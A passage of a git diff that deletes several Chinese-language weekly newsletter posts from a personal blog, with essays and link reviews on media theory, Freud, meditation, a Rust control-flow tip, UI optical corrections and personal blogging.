-文章的分类也做了些减法,以前是「分类+标签+文章系列」的归类方式,每次写博客都觉得烦,这些分类毫无必要,打上细致的标签也没有任何实际作用。我不在意 SEO,不需要标签作为关键词;这不是笔记软件,不需要标签方便查询;分类有些时候太死板,有的文章的分类实在模棱两可。最后干脆一刀砍掉,只留下了「文章系列」,显示在文章列表的右边。 - -顺带一提,我也彻底弃用了 Obsidian,现在只使用 Typora 作为写作工具,这也算是一次减法。关于数字生活的简化,我打算日后写篇文章谈谈。 - -## 🤔 - -### 起名的艺术 - -起名字似乎一直很难,至少对我来说,我给我的博客起过很多名字,目前最令我满意的也就是现在正在使用的「极客死亡计划」。关于这个名字的含义,我已经在[关于页面](/about)讲过,这里就不赘述了。 - -最近倒是听过和看过一些有意思的名字,于是在这里整理一下。 - -计算机网络中的一个路由选择算法,叫做「**热土豆算法**」(其实我认为,翻译成「烫手山芋算法」会更形象),这个算法的基本思想是:如果当前分组(packet)的目的地不在当前自治系统(Autonomous System,可以理解为互联网的一个小部分)中,就选择能最快离开自治系统的路由转发分组。这个名字让人联想到,各个自治系统都想要尽快把不属于自己的数据分组扔掉的情形。 - -一个关注 **COPMI**(Children of Parents with Mental Illness,精神病患者的后代)群体的慈善组织,名叫 **CAFF**(Care for Family)花园。这两个名字其实都很有意思,而且有一定的功能性——COPMI 这个上口的名字很容易被记住,能提升社会对这一群体的关注度;CAFF 花园这个名字刻意地隐藏了「精神病」的字眼,就连全称里也没提及病字,它表达了创始人的想法和观点。 - -**金发姑娘原则**(Goldilocks principle),指不好不坏、恰到好处的行事原则。它来自一则童话故事《三只小熊》:*一个叫做 Goldilocks 的小姑娘进山采蘑菇,不小心闯进了熊屋,趁着熊爸爸、熊妈妈和熊小孩外出还没有回来,金发女孩尽享厨房里各种美馔,然后舒适地躺在熊床上迷迷糊糊地睡着了,还做了一个美梦。被金发姑娘霸占的房子中,每个熊都有自己偏好的床、食物和椅子。金发姑娘在偷食过三碗粥、偷坐过三把椅子、偷躺过三张床后,金发姑娘觉得不太冷或不太热的粥最好、不太大或不太小的床和椅子最舒适*。 - -这个名字让没读过故事的人摸不着头脑,但了解之后也借此记住了这个故事情节。另外,这个小姑娘的名字也有点意思,lock 这个单词在现代英语里是「锁」的意思,但是在近现代英语(和莎士比亚用的英语是相似的)里,还有「头发」的意思。Goldilocks 不过就是带有一些古典韵味的 Blond hair 罢了。 - -不知道你是喜欢这种形象有趣、带有一些思想、需要深入了解才能弄清楚的名字,还是喜欢直白一些的名字,比如精神分析中的「唯乐原则」? - -### 媒介与真理 - -自来水厂送来的水里有残留的氯,瓶装的饮用水里有塑料微粒,森林里的湖水搞不好有让人患病的微生物——世界上没有水是真正的纯净水,水不能毫无杂质地存在着。 - -相同地,**真理不能,也从来没有毫无修饰地存在**。 - -《娱乐至死》这本书主要是在批判「电视」媒介对人们地思考能力甚至是认知世界地方式地影响(我想书中的思想也同样适用于「短视频」媒介,「短视频」甚至更坏)。但是,这本书对我影响最大的,其实是有关「媒介」和「认识论」的观点。 - -尽管书中不少对于现实的批评有些「美国中心主义」,但作者也花了不少笔墨论证为什么「媒介即认识论」。**传播媒介影响着我们的思维方式,根植于我们的文化中,文化又进而影响我们的思维,影响我们认识世界的方式**。来自不同文化背景的人思维方式差异巨大,除了历史、社会等原因,很大一部分也受他们所使用的「语言」的影响(实际上,语言也无时无刻不在受到历史和社会的影响),因为语言就是一种传播媒介。 - -除了语言以外,更值得讨论的传播媒介经历了这样的变化:口头交流、谚语——印刷术、铅字——电报新闻、摄影——电视。当然,还有书籍写就时尚未出现的「短视频」。 - -在注重口头语言的社会,社会里的长老有一肚子的谚语,能用几句看似有说服力的话调和人们的矛盾。在印刷术盛行的时代,美国处于一个全民阅读的社会。在电报和摄影被发明后,人们开始关心跳脱的、更短的、离自己更远、与自己关系更弱的“新闻”,这样的内容开始缺乏书本和文章的连贯性。当电视机被发明后,内容的逻辑连贯性彻底消失了,新闻主播只要说一句“好……现在”,观众就能从死伤惨重的悲剧中,转到下一条有趣但和自己无关的新闻,几个小时过去了,人们根本想不起来自己都看了些什么。 - -一开始,真理是由「说服」产生的,之后又在整齐排列的、逻辑严密的、公开而受所有读者审查的文字中产生;然后,人们在琐碎的新闻和电视广告中用「娱乐」的方式表达任何东西,真理的标准又从逻辑变成了电视上的人本身的「可信度」。 - -媒介就是真理的一部分,真理无法脱离媒介存在。当真理用另一个形式表达出来时,就和计算机语言的类型转换一样,和人类语言的翻译一样,总有些东西在这个过程中被丢失或者被改变了。 - -### 激进的观点似乎更容易说服我 - -弗洛伊德的很多理论被批评为「泛性论」,我正在读的那本《自我与本我》的译者序里便是这么写的。我表示鄙夷,因为这个译者并没有论述为什么「泛性论」是错误的。他只是它起了个名字,或者说贴了个标签,然而他并没有给出为什么这个名字或者标签是不好的的理由。对我来说,说「弗洛伊德的理论是泛性论」就像说「苹果是红色的」一样,你说得对,然后呢? - -我只能认为,译者以「泛性论」批评弗洛伊德的理论,是因为他认为:「性」是不好的,「性」是难以摆上台面讨论的,把某个东西和「性」联系起来就是在玷污它。这种「谈性色变」的思想有多么不理性,想必不用我多说。 - -网上也有不少人说弗洛伊德像是「性缘脑」,这还算是比较聪明的表述,因为他用了一个似乎人人喊打的名字——*没人喜欢「性缘脑」*。不过,我认为,这种观点还是基于「性是不好的」的思想的。 - -我承认,就算是放在现在,弗洛伊德用「性欲」来解释人类行为的方法,都有些令人难以接受。不过,很多时候,我还是会不理性地认为,那些不能接受这个观点的(不认同没关系,这和接受是两码事),都有些思想顽固,有着「谈性色变」的偏见——*承认你的行为有可能来源于性欲被压抑,或者在某些更复杂、深层的意义上,和性欲有着某种联系,有那么难吗?这是什么难以启齿的事情吗*? - -我甚至偏执地以为,这些人和不能接受男人穿粉色衣服的人没有什么区别。 - -同样饱受批评的理论,还有「模拟世界理论」。它指出,我们现在很有可能就生活在一个计算机模拟的世界里。 - -> 简单来说,如果你相信未来人类的科技发展,能够允许我们模拟意识以及整个世界,那么我们就有可能活在一个模拟世界里。 - -很多人批评尼克·博斯特罗姆(这个理论的提出者),说他「把现实和科幻小说搞混了」。我也觉得这样的人太顽固。他是觉得尼克有多蠢,才会以为他分不清虚幻和现实?他是有多傲慢,才会觉得有人不能像他那样想明白「现实和虚构故事是不一样的」这个道理?他觉得一个成年人能做出这样的理论,没有经过深思熟虑吗?他怎么一点都看不到对方的前提、假设和精巧的构思? - -回到这个理论本身,人真的有办法证明自己并非缸中之脑吗?我认为没有,我们不一定真的是笼子里的玩物,但我们没法排除这个可能性——*接受这个可能性吧,傲慢的人类,别觉得自己太聪明,上帝会发笑的*。 - -写到这里,我意识到,我之所对弗洛伊德的「泛性论」和尼克的「模拟理论」更容易感到信服,并非是因为反对者的反对理由很容易被推翻(实际上,我认为我,以及很多人,都是先有了立场,才去找理由反驳对方立场的),而是因为**那些激进的理论,天生地就能刺激我的反骨**。 - -## 📒 - -[Write and write-nots](https://paulgraham.com/writes.html) - -> **If you're thinking without writing, you only think you're thinking.** - -> 随着科技(AI)的发展,人们越来越不需要也不愿意写作了,然而写作是检验深度思考的能力,不写作和写作的人之间会形成极大的思加上的差异,人们甚至会停止思考。 - -**超越唯乐原则** - -> 个别的或部分的本能在其要求和目的方面与另一些能联合进人自我的包容性统一体内的本能不能协调一致,于是,前一类本能便通过压抑过程脱离了这个统一体,滞留在较低级的精神发展阶段上,因而一开始就失去了获得满足的可能性。**如果这些本能后来通过迂回曲折的途径,艰难然而成功地得到了某种直接的或替代的满足(在被压抑的性本能身上很容易发生这类情况),那么,那个在其他场合本来会是一个获得愉快的机会的事件,在自我的感觉中,却是一种不愉快**。 - -[A physicist and his cat 'reveal' the equation of cat motion](https://phys.org/news/2024-10-physicist-cat-reveal-equation-motion.html) - - diff --git a/content/posts/weekly/30.md b/content/posts/weekly/30.md deleted file mode 100644 index 8d3a3fa6..00000000 --- a/content/posts/weekly/30.md +++ /dev/null @@ -1,248 +0,0 @@ -+++ -title = "稻草人周刊 Vol.30" -subtitle = "无为之道" -tags = [ - "编程", - "技术", - "设计", - "认知", - "自我", - "爱", - "创作", - "写作", -] -date = 2025-05-26 22:59:00 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/uPic/20250526-the-5am-sky-2.jpeg" -draft = false -toc = true -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", -] -mentioned_books = [ - "The-Subtle-Art-of-Not-Giving-A-Fuck", -] -aliases = [ - "/posts/weekly/30", -] -+++ -The Black Dog 是专辑《The Tortured Poets' Department》里我第二喜欢的一首歌,搬家之后不用考虑室友的感受也没有羞耻感打扰过后,我就用尤克里里弹唱了这首歌。唱得一般还请见谅。 - -~~我已经期待读者第一次听到我声音之后的反应了~~。<!--more--> - -<audio controls> - <source src="https://r2.eltr.ac/uPic/20250526-me-singing-the-black-dog.mp3" type="audio/mpeg" /> -</audio> - -## 🙋 在做什么 - -因为要搬家还要提交各种材料,学业上和工作上都有不少琐事,每天都在东奔西走,一停下来就想躺着,就连思考和写作的力气都没有了。本来想就搬家的事情写点什么的,结果不了了之了,就连阅读也变少了。最近在读的《包法利夫人》这周似乎没翻几页,因为书比较厚,要搬东西的话带着就不方便;这周身上只带了必要的设备和一个 Kindle,稀稀拉拉地也快把一本书读完了,这周应该能写书评的。 - -值得说道的可能是这周六熬了个通宵,见到了清晨五点半的太阳,周刊的封面图就是那个时候拍的。在 KTV 唱了睡,听到自己点的歌又立马起来再唱,然后又躺下睡觉…… 这个感觉好奇妙,就是第二天上班的时候命苦了。 - -另外,独居好爽。 - ---- - -哦对,我还给博客做了个[统计](/stats/)页面,包括了博客所有页面的双向链接图谱。 - -<div class="outbox small"> - <iframe src="https://geedea.pro/graph" - style="width:100%;height: 30rem;border-radius:5px;border:none"></iframe> - </div> - -如果你感兴趣,我过几天就会写一写我为什么要做这个东西,以及我是如何做的。 - -## 💬 本期杂谈 - -### 无为之道 - -> [!note] 📜 -> 文章链接:[Getting nothing done — Bitfield Consulting](https://bitfieldconsulting.com/posts/getting-nothing-done) - -我本以为这篇文章讲的是「如何放下欲望,没有雄心壮志地过完一生」,因为在文章前面的一部分,作者就提到: - -> But what is ambition other than a kind of unhappiness? If you’re happy right where you are, doing what you’re doing (or not doing), then you’re happy! No need for any goals or ambitions. -> -> 如果不是「不快乐」,野心还能是什么呢?如果你对此时此地你正在做的事情(或者什么都不做)感到快乐,那你就是幸福的!根本不需要任何目标或者野心。 - -不过,后文的内容主要就在讲「冥想」了。作者指出一些人觉得冥想很难,说自己不擅长明显,但作者说冥想根本没有擅长和不擅长一说,没有冥想得好和冥想得不好得区别,因为冥想就是什么都不干。 - -作者认为现代人有一种迷思:如果不是为了变成**更好的**冥想者,那我为什么要冥想?如果不是为了变得更有能力、更有钱、更快乐,那我为什么要努力? - -作者认为动物是天生的冥想者,他引用了 Alan Watts 写的一段话: - -> Those who understand the Tao delight, like cats, in just sitting and watching without any goal or result in mind. But when a cat gets tired of sitting, it gets up and goes for a walk or hunts for mice. It does not punish itself or compete with other cats in an endurance test as to how long it can remain immovable. -> -> 懂得道家思想的人,就像猫一样,只是漫无目的地坐着、看着。不过,当猫厌倦了坐着,它会站起来,然后去散步,或者抓老鼠。它不会惩罚自己,也不会跟其他猫比耐力,看看谁能坐得最久不动。 - -尽管这篇文章没有给出什么令人醍醐灌顶的人生哲学,但作者作为一个写作者,可能也像猫一样,根本不在乎能不能写出什么惊世骇俗的理论吧。 - -### 不要乱猜我的语言 - -> [!note] 📜 -> 文章链接:[Don't Guess My Language](https://vitonsky.net/blog/2025/05/17/language-detection/) - -许多网站,甚至包括谷歌在内的大科技公司,都使用 IP 地址「猜测」访客所使用的语言,作者指出这会导致很多问题。我自己也被 GoDaddy 的操作折腾过,我这个完全不懂日语的人在 GoDaddy 的各个界面穿梭,怎么都找不到语言设置选项,也不知道是因为我没认出来,还是 GoDaddy 根本就没有设置这个选项。当我的 IP 地址改变之后,GoDaddy 居然还在使用最初的设置,我不想去纠结应该清除 Cookie 还是其他的本地缓存,直接关闭了页面,至今都没再打开过 GoDaddy——*你甚至可以说,GoDaddy 把我当日本人整*。 - -用 IP 地址推测语言很不可靠,原因如下: - -1. IP 不等于国家 - 1. 用户可能在旅游 - 2. 用户可能因为一些原因暂住国外 - 3. 用户可能在使用 VPN -2. 国家不等于语言:很多国家都有两门,甚至多门官方语言 - -作者指出,正确的做法是使用 HTTP 请求中的 `Accept-Language` 头,用户可以自由调整这个值。 - -[#编程](/tags/编程) - -### 如果在上,循环在下 - -> [!note] 📜 -> 文章链接:[Push Ifs Up And Fors Down](https://matklad.github.io/2023/11/15/push-ifs-up-and-fors-down.html) - -作者提出了一个优化代码结构的原则,应该将判断提前,在 `for` 循环内部减少判断,如下: - -```rust -if condition { - for walrus in walruses { - walrus.frobnicate() - } -} else { - for walrus in walruses { - walrus.transmogrify() - } -} -``` - -以下是反面例子: - -```rust -for walrus in walruses { - if condition { - walrus.frobnicate() - } else { - walrus.transmogrify() - } -} -``` - -在编写一个函数时,也应该考虑将判断移动到调用这个函数的位置,而不是在函数内部做判断。 - -作者认为「如果在上,循环在下」的原则,能够避免反复计算条件值,优化性能,也能在代码层面减少冗余,更容易发现控制流中的问题。这一模式在微观和宏观层面都有效。 - -[#编程](/tags/编程) - -### 纠正不同形状的视错觉 - -> [!note] 📜 -> 文章链接:[双圆角视错觉,如何精准校正? - 少数派](https://sspai.com/post/99114) - -作者列出了三种容易出现视觉误差,影响设计观感的情景,并给出了简单直接的解决方案,帮助设计师优化平面设计和 UI 设计中的细节问题。 - -1. 内外双圆角 - - 例如 iPad 边框最外侧的物理外壳的圆角,和内部 UI 的圆角,如果要对齐,仅仅是设置成一样的大小是不行的 -  - - 先按照内外边长的比例缩放圆角大小,然后再整体乘 0.7~0.8,就可以修正这个问题 -  -2. 正方形和圆形并排出现 - - 边长和直径相等的正方形和圆如果并排出现,圆会看起来小一些 - - 将圆的大小放大 3%~5%,就能修正这个问题 -  -3. 圆当中出现三角形 - - 例如视频的播放按钮,如果只是将三角形的中心点和圆点重叠,三角形的重心其实会向一边偏移,需要向另一侧移动一段距离才行 -  - -非常实用的设计小技巧,而且是人人都能理解和学会的。 - -[#设计](/tags/设计) - -### 对技术的过度想象 - -> [!note] 📜 -> 文章链接:[隐说 No.7 东拼西凑的见闻不是博学 - 太隐](https://wangyurui.com/posts/yin-shuo-no-7-dong-pin-xi-cou-bu-shi-bo-xue-cfd29bad) - -> 对于技术的过度想象,本质上是==不同社会群体在争夺对新技术的解释权,而不同群体的不同期望导致人们觉得这种新技术是无所不能的,但能不能实现,其实是需要打问号的。== - -很有趣的视角!我其实本来想要列举一下不同群体对人工智能的过度想象,但尝试写了几行后觉得自己的观点太片面,就删掉了。我想不同的读者应该有自己的见解,我就不把自己不成熟的想法写出来引发争论了,而且这样也偏离了重点。 - -我认为这句话比起批评,更多的是**提醒**——在以自己有限的认知开始畅想各种或美好或恐怖的未来之前,应该先从技术层面思考究竟能否实现。当然,我觉得这是针对现有技术的想象而言的,倡导人们正确认识事实,而不是在扼杀创新。 - -[#认知](/tags/认知) [#技术](/tags/技术) - -### 爱好与职业 - -> [!note] 📜 -> 文章链接:[关于求职、爱好与平庸生活 - 高天驰](https://www.gaotianchi.com/job-hobbies-and-mediocre-life/) - -> 在很长一段时间里,学习编程作为我的消遣,或者爱好。后来,当我决定将其作为自己的求职工具,在公司实习了几个月后,我对它的热情似乎全然消失了。 - -我从小学开始自学编程,但是在大学 Java 课程期末的实训周被关在机房连着写了四天代码,每天晚上从楼里出来浑身不适,班味重到让我陷入了一种存在主义危机。即便是最后拿了 95 分,是班上的最高分,我却一点也高兴不起来。一方面原因是*我他妈的根本不在乎那个爹味浓到发臭的老师给我的名次*,另一方面是,我开始讨厌写代码。 - -即便是在后来慢慢找回了热情,我也仍然在自己的 GitHub 个人资料上这样介绍自己:「someone who hates Java to his very core」,在课程结束之后我就把 IDEA 卸载了,在那之后再也没写过 Java 代码。 - -我在前不久终于下定决心要开始做游戏,并把游戏开发作为职业目标,可如今我又陷入了迷茫:==比起发现自己并不擅长梦想要做的事情,想到某一天自己可能会打心底里憎恶自己曾经热爱的东西,要可怕地多得多。== - -或许我只是想当个闲人,创造些东西娱乐自己和自己在乎的人呢? - -[#自我](/tags/自我) [#爱](/tags/爱) [#创作](/tags/创作) - -### 个人博客应该个性鲜明 - -既然已经从公众平台脱离了出来,拥有了自己在互联网上的一片「领地」,如果还是随大流,畏畏缩缩地不敢表达自己的真实观点,就显得没必要了。 - -我认为独立博客的形式为作者和读者都提供了足够的宽容——读者不喜欢可以直接关掉网站,再也不回来,或者在未经平台审查的评论区与作者辩一辩;作者可以在最小的审查机制[^1]下自由地表达,毫不掩饰自己的观点。 - -我倒不是说写博客的人一定要言辞激烈地吵起来[^2],我只是觉得,既然有了让个性自由生长的土地,那为什么还要遮遮掩掩呢?让我产生这些思考的,是在阅读[太隐](https://wangyurui.com/)的博客时,发现他在文中强调自己博客的标语「一个人的思想发育史就是他的阅读史」。其他另我印象深刻的个人博客,大抵也都有类似的标语,或者某种宣言。 - -> 写博客应当像写普通文章一样,语句通顺、观点明确、结构清晰、内容完整。我理想中的博客文章应当低于 2750 字。这意味着,在一篇文章中,尽量以最简洁的叙述,以最节约作者和读者时间的方式,将一个而不是太多的问题讲清楚。 - -{{< right "——[2750 words](https://pathos.page)" >}} - -> 关于这个博客,你应该知道的第一件事是,这是我为自己所写的博客。 - -{{< right "——[大破进击](https://jesor.me/about/)" >}} - -> 我的文字不是为了顺从你的喜好,而是让你意识到我们是有血有肉的人。 - -{{< right "——[莫比乌斯](https://onojyun.com)" >}} - -> [Derek Sivers](https://sive.rs/) 在[《Anything You Want》](https://sive.rs/a)中写道:“我遇到的所有最酷的人,都是通过我写的东西找到我的人。”,从我有限的经验来看,我也是,所以请不要吝啬,如果你觉得我们的书呆子气质有点契合,那么 i 人也可以先建立一种联系(因为是 i 人,所以我们可以只建立联系而暂时不说话)! - -{{< right "——[关于我和这个博客 - Owen的博客](https://www.owenyoung.com/about/)" >}} - -作为程序员,我并不喜欢读中文博客圈里的大部分技术文章,我想原因并非是技术很无趣,而是因为它们被书写的方式缺乏个性。作为一个读者,我想要读到的是作者为什么开始了解这种技术、做了什么、踩了什么坑、学到了什么、思考了什么,而不是复制粘贴的代码附上几句零散的文字。同样地,那些只有原文引用的书摘我也读不下去——我为什么不直接去读这本书?就像读大语言模型生成的内容一样,我宁愿读提示词,因为类似的答案我也能生成出来,**我更想看到把内容呈现给我的人究竟想了些什么**。 - -说到这里,正好 2025 也快过了一半了[^3],我想带你和我一起回顾一下我在今年写的第一篇文章: - -> 我能接受有人告诉我「不要在这样的场合说不该说的话」,但我绝对不能接受有人告诉我应该在自己的网站上写什么东西。我没有触犯法律,也没有试探道德,如果有人指望我在自己的领域里照顾他们的情绪,他们的行为会比让我真的闭嘴还要严重。 - -> 写文章弯弯绕绕,想把事情讲清楚,让所有人听懂,同时为了保证不被误解,又加上各种修辞,反而让观点变得模糊起来了。 -> -> 网上有不少人的文章读起来都是「一个味」,可能就是过度追求「严谨」的产物。我也常常落入这样的陷阱,到现在也不能完全避免。 -> -> 爱憎分明的观点阐述,或许才写博客时需要的? -> -> 哦等等,让我换句话说: -> -> **爱憎分明的观点阐述,才是写博客需要的。** - -——《[我会带着我的观点下地狱去](/posts/我会带着我的观点下地狱去/)》[^4] - -[#写作](/tags/写作) - -## 🗣️ 碎碎念 - -- 为什么周刊写到第 30 期会有一种自己奔三了的感觉呢? -- 看到有人突然在朋友圈或者群聊里发读书打卡,其实就能说明对方是一个平常不读书的人。如果读书本身就能满足自己,为什么还需要被看到呢? -- 我在某个晚上突然意识到了一个关于自己的、阴暗的事实:他妈的我居然没有为别人感到高兴的能力…… -- 当我忙到没有时间处理自己的情绪时,我会在心里咒骂每一个浪费我时间的人。最近读《[The Subtle Art of Not Giving a Fuck](/library/2025/the-subtle-art-of-not-giving-a-fuck/)》的时候才意识到,我是把自己当做了受害者而逃避了责任,没能处理好自己的情绪本身就是自己的个人问题,虽然应该被理解,但不应该怪别人。 - -[^1]: 自我审查和舆论审查,没有平台审查;如果足够特立独行,舆论审查也可以毫不在意。 - -[^2]: 当然我也不觉得「言辞激烈」是件坏事,愤怒是一种正当的情绪。 - -[^3]: 什么!? - -[^4]: 有趣的是,这篇文章发布之后的一两天内博客就被打了🤷 diff --git a/content/posts/weekly/31.md b/content/posts/weekly/31.md deleted file mode 100644 index feff18a8..00000000 --- a/content/posts/weekly/31.md +++ /dev/null @@ -1,164 +0,0 @@ -+++ -title = "稻草人周刊 Vol.31" -subtitle = "找到志同道合的人" -tags = [ - "软件", - "设计", - "群体", - "职业", - "文化", -] -date = 2025-06-02 12:37:00 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/uPic/20250602-weeklybanner.jpeg" -draft = false -toc = true -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", - "封面图摄于清晨五点半", - "封面图上的摄像头,像不像停在电线杆上的鸟呢?", -] -aliases = [ - "/posts/weekly/31", -] -+++ -这周的某一天突然想起了以前很喜欢的一个小众歌手,一首歌的旋律在脑中浮现出来,回家就找到谱子用尤克里里弹了这首歌,希望你也喜欢。 - -*🎵 Waves - Chloe Moriondo (ukulele cover)* - -<div> - <audio src="https://r2.eltr.ac/uPic/20250602-waves.mp3" type="audio/x-mpeg" controls autoplay /> -</div> - -> I want you to help keep me from growing older. -> -> Just let me snot on your shoulder, -> -> when all that I'm thinking about is him. -<!--more--> -## 🙋 在做什么 - -虽然淘宝和京东在跟美团打商战,每天都能点到 10 块钱甚至更低价格的外卖,但长期吃外卖总归还是不太好,于是就决定自己在家做饭了。 - -{{< gallery >}} - - - -{{</ gallery >}} - -之前买的 iPad 支架因为宿舍太狭窄了没地方放,现在终于派上用场了,一抬手解锁就能看到今天的计划还是很不错的(就算不打开也能起到一个装饰的作用)。 - - - -## ✍️ 本月令我满意的作品 - -还记得我在[第 26 期周刊](/posts/weekly/26)里写了什么吗? - -> 你正在阅读一期特别的周刊,以后每个月的最后一期周刊都会如此,除了一般的信息聚合,还充当本博客的每月回顾 - -显然,五月的最后一期周刊应该是[第 30 期](/posts/weekly/30/),然而上周我把这件事情忘记了,那么**五月的文章回顾**就写在六月的第一期周刊里吧! - -1. [被世界抛弃的错失恐惧](/posts/被世界抛弃的错失恐惧/)<br/> - 这篇文章拆解了 FOMO(措施恐惧症)和 FOBO(更好选择恐惧症)这两种对立的情绪,指出这两种情绪的内核是一致的,都是「不能正确应对新事物」导致的。我在这篇文章中写道,可以通过分析事物给自己带来的熟悉感和新鲜感,应用「N+1」原则,处理 FOMO 和 FOBO 这两种情绪。 -2. [思考是碳基生物的特权吗?](/posts/thinking-privilege/)<br/> - 这篇文章讨论了「人工智能哲学」这一主题,从结构和表现两种视角定义了「智能」,引用和设计了一些假想的实验尝试解答了「思考可以被机器模拟吗?」这一问题,并剖析了目前的机器智能和自然的生物智能的本质区别。 -3. [愤怒是一种正当的情绪](/posts/愤怒是一种正当的情绪/)<br /> - 指责一个人无能狂怒或者太过傲慢,其实是在逃避真正的观点冲突:「只有你害怕观点之间的战斗,害怕对面那个人真的有可能是英雄、有可能是对的,害怕观点和观点之间有可能有高低之分,所以才会干脆在道德层面、世俗层面“立法”禁止战斗。」本文还浅谈了现代人对「美德」的迷思:人们鄙夷品德低下的人,但「鄙夷」本身却也是品德低下的体现。 -4. [厌女男为何只会满嘴喷粪?](/posts/厌女男为何只会满嘴喷粪/)<br/> - 五一回家的时候,我通过观察我父亲和与他同龄的游戏玩家的互动发现,一些厌女气质很重且对自身男子气概不自信的的男性,往往会通过「吹嘘雄风」和「女化对手」的方式来贬低对方,让自己显得高高在上,这其实是一种投射现象。此外,这类人嘴里吐出来的字往往涉及「性」和「生育」,思维十分接近原始人。 -5. [阅读应当是一种体验](/posts/reading-as-an-experience/)<br/> - 本文浅析了[信息的组织结构](/cards/信息的组织结构/),指出阅读应当是完整的体验,而不是碎片的,即使是网状结构,也要通过路径建立起线性体验。我认为获取足够的体验是形成理解的基础。 - -接下来是周刊的常规栏目。 - ---- - -## 💬 本期杂谈 - -### 涂鸦式日历 - -> [!note] 📜 -> 文章链接:[Sketchy Calendar](https://www.inkandswitch.com/ink/notes/sketchy-calendar/) - -作者发现电子日历的弊端在于不够灵活,只能设置固定时刻的起始日期,而且格式单一,相反,纸面的日历就很灵活,可以随意涂鸦,但缺点在于不能数字化。 - -我自己也有过类似的纠结,经常在苹果日历和日程本之间来回切换。除了不够灵活,电子日历的操作流程缺乏「把东西写下来」的动作,我认为手写的过程其实能够增强确认感,自己写过的东西也更容易记住。然而,对我来说,使用纸质的日程本则需要更多的自驱力,因为要多带一个本子出门,拿出本子再打开本子写东西的过程,明显不如掏出手机打开 App 的过程方便。 - -作者提出了一种新的软件形式,叫做 Sketchy Calendar,把电子日历和手写日历结合了起来。一开始我觉得一些笔记软件的自定义纸页也可以实现这种功能,但日历显然也需要消息通知来提醒用户日程即将到来,这样的软件兴许真的能解决不少真实的需求。 - - - -这目前还是个想法,但我很期待未来的产品。 - -[#软件](/tags/软件/) [#设计](/tags/设计/) - -### 找到志同道合的人 - -> [!note] 📜 -> 文章链接:[Find Your People](https://foundersatwork.posthaven.com/find-your-people) - -这是一篇演讲稿,演讲人是 Y Combinator 的联合创始人之一,演讲内容主要是为毕业生的未来职业规划提出一些建议。 - -其中包含一些「当我们刚刚开始的时候,大家都笑话我们……」这样的陈词滥调,但有一条建议很值得思考:如果你有野心,但却没有什么实际的计划,不妨先找到与你志同道合的人。 - -> There’re a huge number of options, and you have to actively figure out which is the best for you. And the best way to do that is people. Find the interesting people. -> -> 选择很多,你必须主动去搞明白哪一个最适合你,最好的方式就是通过人。找到那些有趣的人。 - -[#群体](/tags/群体/) [#职业](/tags/职业/) - -### 美国影视作品里的亚洲人 - -> [!note] 📜 -> 文章链接:[Asian Misrepresentation](https://pudding.cool/2025/05/aapi-casting/) - -一个有趣的现象是,在一些美国的影视作品里,剧中的中国人普通话说得很烂,查询之后才发现这个中国人的演员其实是个韩国人;同时,在另一部电影里,一个中国演员扮演了一个韩国人。对于美国的制片团队来说,「亚洲人」似乎是一个没有区别的群体,然而更具体的国家和民族文化的体现,才能人亚洲观众产生认同感。 - -作者收集了 1982 年到 2023 年亚洲人角色较多的电影,并通过剧情、角色设计和选角的方面评判这部电影对亚洲人角色的呈现是否「准确」。他们惊讶地发现,准确度其实超过了 80%。尽管得到了乐观的结果,文章最后还指出,好莱坞对文化多样性(diversity)的重视度似乎正在开倒车,在近年来开始下滑。 - -不过,即便作者站在种族歧视的反面,我仍然觉得这篇文章写得非常「白人中心主义」。多样性(diversity)这个概念就是建立在「一个场合里有多少非白人个体」这一评判标准之上的,本质上还是在以白人的视角看待问题。 - -此外,我不认为这篇文章的数据有多准确,因为他们只收集了「主要由亚洲演员参演」和「旨在描绘美裔亚洲人生活」的电影,这类电影本身就会更在意文化准确性,而在其他电影里作为配角登场的亚洲人是否被准确地呈现了,并没有纳入统计范围。这就是典型的路灯效应嘛。 - -[#文化](/tags/文化/) - -## 💡 新知复盘 - -### 友情链接的翻译 - -友情链接似乎是中文万维网的产物,因为就目前为止,我还从未在任何类型的英文网站上发现友情链接这种东西。当我在维基百科中搜索友情链接并切换到英文维基时,我发现英文里的 [Link Exchange](https://en.wikipedia.org/wiki/Link_exchange) 和中文里的友情链接并不是一个东西。 - -> Webmasters register their websites with a central organization, that runs the exchange, and in turn receive from the exchange HTML code which they insert into their web pages. -> -> 站长在一个运营链接交换的中央组织登记他们的网站,然后轮流收到嵌入他们网页的 HTML 代码。 - -然而中文万维网语境下的友情链接是去中心化的,站长到别人的网站下留言,表明他已经将贵站的链接添加到自己的网站上了,希望贵站能够将自己网站的链接展示出来。英文里的 Link Exchange,更像是独立博客圈熟知的[开往](https://www.travellings.cn)等类似的服务。 - -之前我看到有人把友情链接翻译成 Friendly Links(友好的链接),还和对方争论了一番,如今来看其实这个词没有正确和标准化的翻译,因为英文里就没有友情链接这个东西。 - -### 路灯效应 - -路灯效应是一种观察偏差(observational bias),意思是说当事人只在最明显的地方搜索样本,忽略了更难找的地方也可能存在的样本,进而造成了偏差。 - -路灯效应的名字出自一个笑话: - -> 警察看见一个醉汉在路灯下找东西,便问他丢了什么。醉汉说他的钥匙不见了,让警察帮他一起找。两个人找了半天都没有找到钥匙,警察问他:“你确定你的钥匙掉这了吗?” -> -> 醉汉说:“不是,我在公园丢的。” -> ->警察说:“那你为什么在路灯下面找?” -> -> 醉汉说:“因为这里有光!” - -<span style="font-size:80%">Source: [Streetlight effect - Wikipedia](https://en.wikipedia.org/wiki/Streetlight_effect)</span> - -## 🗣️ 碎碎念 - -- 鸭子好像是个很奇怪、意思很多、反差很大的文化符号: - - 鸭子可以是卖淫的男人 - - 软件测试中有个概念叫 Rubber Duck Debugging,意思是拿一个橡皮鸭之类的东西放在电脑旁边,代码出问题的时候,就对着这个鸭子一行一行地讲解自己的代码,直到发现问题 - - 逻辑学中有个概念叫「鸭子测试」,也就是熟悉的:「如果一个东西看起来像鸭子,叫起来像鸭子,走起路来也像鸭子,那它就是只鸭子」。 - - 为什么一定是鸭子呢?🤔 -- 第一次知道除湿袋这种东西里面居然会结晶的啊 😱 <br/> -- 虽说家住的离商场近是件好事,下楼走五分钟就能到超市买菜,但人未免也太多了,就算是自助收银也要排队十分钟了…… -- 如果用 Apple Notes 的话,用英文记笔记会有一个优势,就是可以用到手写修正功能,备忘录会矫正笔画的形状,让英文文字更易读。不过,实际体验没有很美好,如果写得太乱,字母就会绞在一起;如果 y 和 g 这两个字母写得太飘逸(其实也就是尾巴稍微长了一点),修正之后也会很奇怪。如果书写习惯和 Apple 